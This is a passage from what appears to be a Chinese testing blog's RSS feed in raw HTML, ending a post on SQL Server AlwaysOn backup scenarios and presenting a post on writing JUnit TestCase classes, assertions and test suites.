line-height: normal !important;">因此会有以下三种情况</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">情况一：在SERVER03不能执行备份，应该在CLUSTEST03\CLUSTEST03上执行</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　2.1 在SERVER03上不能执行备份，如下图所示</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49853" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412041126394RCex.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　2.2 在CLUSTEST03\CLUSTEST03上能执行备份，如下图所示</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49854" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412041126395Snrd.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">情况二：CLUSTEST03\CLUSTEST03挂机，可在主副本SERVER03上备份</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　2.3 将CLUSTEST03\CLUSTEST03脱机，如下所示界面</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49855" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412041126396lOmW.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　2.4 可在SERVER03上执行备份</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49856" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412041126397LAGR.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /><br /><br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"><strong style="word-break: break-all; line-height: normal !important;">情况三：主备发生切换，可在SERVER03备份，不能在CLUSTEST03\CLUSTEST03上备份</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　2.5 将主副本切换到CLUSTEST03\CLUSTEST03</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"><a href="http://www.51testing.com/batch.download.php?aid=49856" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412041126397LAGR.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　2.6 可在SERVER03【新辅助副本】上备份</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"><a href="http://www.51testing.com/batch.download.php?aid=49857" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412041126398mUrb.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　2.7 不可在CLUSTEST03\CLUSTEST03【新主副本】上备份</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"><a href="http://www.51testing.com/batch.download.php?aid=49858" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_2014120411263993Hhu.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">相关文章：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"><a href="http://www.51testing.com/html/62/n-877262.html" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">AlwaysOn可用性组功能测试(1)-故障转移测试</a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"><a href="http://www.51testing.com/?action-viewnews-itemid-917529" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">AlwaysOn可用性组功能测试(2)-SQL Server群集故障转移</a></div><br /><br /></a></div></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421643.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-22 23:27 <a href="http://www.blogjava.net/qileilove/archive/2014/12/22/421643.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>开发者的Java测试用例浅析</title><link>http://www.blogjava.net/qileilove/archive/2014/12/22/421641.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 22 Dec 2014 15:25:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/22/421641.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421641.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/22/421641.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421641.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421641.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">前段时间，在项目组里做了一点<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">java</strong></u></a>的<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;"></strong></u></a><u style="word-break: break-all; line-height: normal !important;"><strong style="word-break: break-all;"><a target="_self" style="word-break: break-all; color: #202859; text-decoration: none;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>用例</strong></u>，虽然没有全自动化，也完成了半自动化的测试。比如：针对接口的测试，提供服务的测试等，都不需要启动服务，也不需要接口准备好。我们只需要知道输入输出，便可以进行testcase的编写，这样很方便。我们这边这次完成的针对某一块业务。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　看一下一部分的完成情况</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=50146" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_20141218101914101P1.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　这次的主要目的还是来讲TestCase</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　那什么是TestCase？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　是为了系统地测试一个功能而由测试工程师写下的文档或脚本；</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Junit</strong></u></a>测试是程序员测试，即<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">白盒测试</strong></u></a>（个人理解）；</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　具体到junit.framework. TestCase这个抽象类</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　其实网上有很多关于这方面的帖子，博客之类的，大家也可以找找，<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">学习</strong></u></a>学习。毕竟我这里的理解还是很肤浅的</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　那第二点，为什么需要编写测试用例？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　通俗易懂一点：写的目的就是为了记录，并加以完善，因为测试一个功能往往不是走一遍就OK的，需要反复的改，反复的测，直到功能可以提交给客户。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　深度提炼一点：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　1） 测试用例被认为是要交付给顾客的产品的一部分。测试用例在这里充当了提高可信度的作用。典型的是UAT（可接受）级别。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　2） 测试用例只作为内部使用。典型的是系统级别的测试。在这里测试效率是目的。在代码尚未完成时，我们基于设计编写测试用例，以便一旦代码准备好了，我们就可以很快地测试产品。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　具体的参考：http://www.51testing.com/html/41/n-44641.html</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　深入的也不多说，网上这种东西很多。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">正题：</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　使用JUnit时，主要都是通过继承TestCase类别来撰写测试用例，使用testXXX()名称来撰写<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">单元测试</strong></u></a>。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　用JUnit写测试真正所需要的就三件事：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　1． &nbsp;一个import语句引入所有junit.framework.*下的类。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　2． &nbsp;一个extends语句让你的类从TestCase继承。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　3． &nbsp;一个调用super(string)的构造函数。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">下面可以看一下TestCase的文档介绍里的Example</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">　　1.构建一个测试类</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　public class MathTest extends TestCase {</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　protected double fValue1;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　protected double fValue2;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　protected void setUp() {</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　fValue1= 2.0;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　fValue2= 3.0;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　}</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　}</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">2.一个<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Test</strong></u></a>方法以及断言使用</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　public void testAdd() {</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　double result= fValue1 + fValue2;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　assertTrue(result == 5.0);</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　}</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　3.运行单个方法的使用</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　TestCase test= new MathTest("add") {</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　public void runTest() {</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　testAdd();</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　}</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　};</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　test.run();</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　或者</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　TestCase test= new MathTest("testAdd");</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　test.run();<br /><br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><strong style="word-break: break-all; line-height: normal !important;">4.运行一组测试用例</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　public static Test suite() {</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　suite.addTest(new MathTest("testAdd"));</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　suite.addTest(new MathTest("testDividByZero"));</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　return suite;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　}</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　还有下面这种方式</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　public static Test suite() {</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　TestSuite suite = new TestSuite("Running all tests.");</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　/*10000*/</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　suite.addTestSuite(TestAgentApi.class);</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　/*10001*/</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　suite.addTestSuite(TestAgentUxxApi.class);</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　}</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=50147" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412181019142nVEP.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　运行6个，5个没有通过，一目了然。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　setUp和tearDown</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">/**</div><div style="word-break: break-all; margin: 10px 0px;">* Sets up the fixture, for example, open a network connection.</div><div style="word-break: break-all; margin: 10px 0px;">* This method is called before a test is executed.</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">protected void setUp() throws Exception {</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">/**</div><div style="word-break: break-all; margin: 10px 0px;">* Tears down the fixture, for example, close a network connection.</div><div style="word-break: break-all; margin: 10px 0px;">* This method is called after a test is executed.</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">protected void tearDown() throws Exception {</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　对于重复出现在各个单元测试中的运行环境，可以集中加以管理，可以在继承TestCase之后，重新定义setUp()与tearDown()方法，将数个单元测试所需要的运行环境在setUp()中创建，并在tearDown()中销毁。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　Junit提供的种种断言</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　JUnit提供了一些辅助函数，用于帮助你确定某个被测试函数是否工作正常。通常而言，我们把所有这些函数统称为断言。断言是单元测试最基本的组成部分。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　方法：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　assertEquals-期望值与实际值是否相等</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　assertFalse-布尔值判断</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　assertTrue-布尔值判断</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　assertNull-对象空判断</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　assertNotNull-对象不为空判断</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　assertSame-对象同一实例判断</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　assertNotSame-检查两个对象是否不为同一实例</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　fail-使测试立即失败</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　Junit和异常</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　1．从测试代码抛出的可预测异常。<br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">2．由于某个模块（或代码）发生严重错误，而抛出的不可预测异常。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　这两点的异常是我们比较关心的。下面展示一种情况：对于方法中每个被期望的异常，都应写一个专门的测试来确认该方法在应该抛出异常的时候确实会抛出异常。图展示的是抛出异常才通过，不抛出异常，case不通过。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　如图</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=50148" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_2014121810191433Bq0.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　异常情况如下：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=50149" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_2014121810191448Btq.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　对于处于出乎意料的异常，我们最好简单的改变我们的测试方法的声明让它能抛出可能的异常。JUnit框架可以捕获任何异常，并且把它报告为一个错误，这些都不需要你的参与。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　回顾一下如何使用Junit</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　JUnit的使用非常简单，共有3步：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　第一步、编写测试类，使其继承TestCase；</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　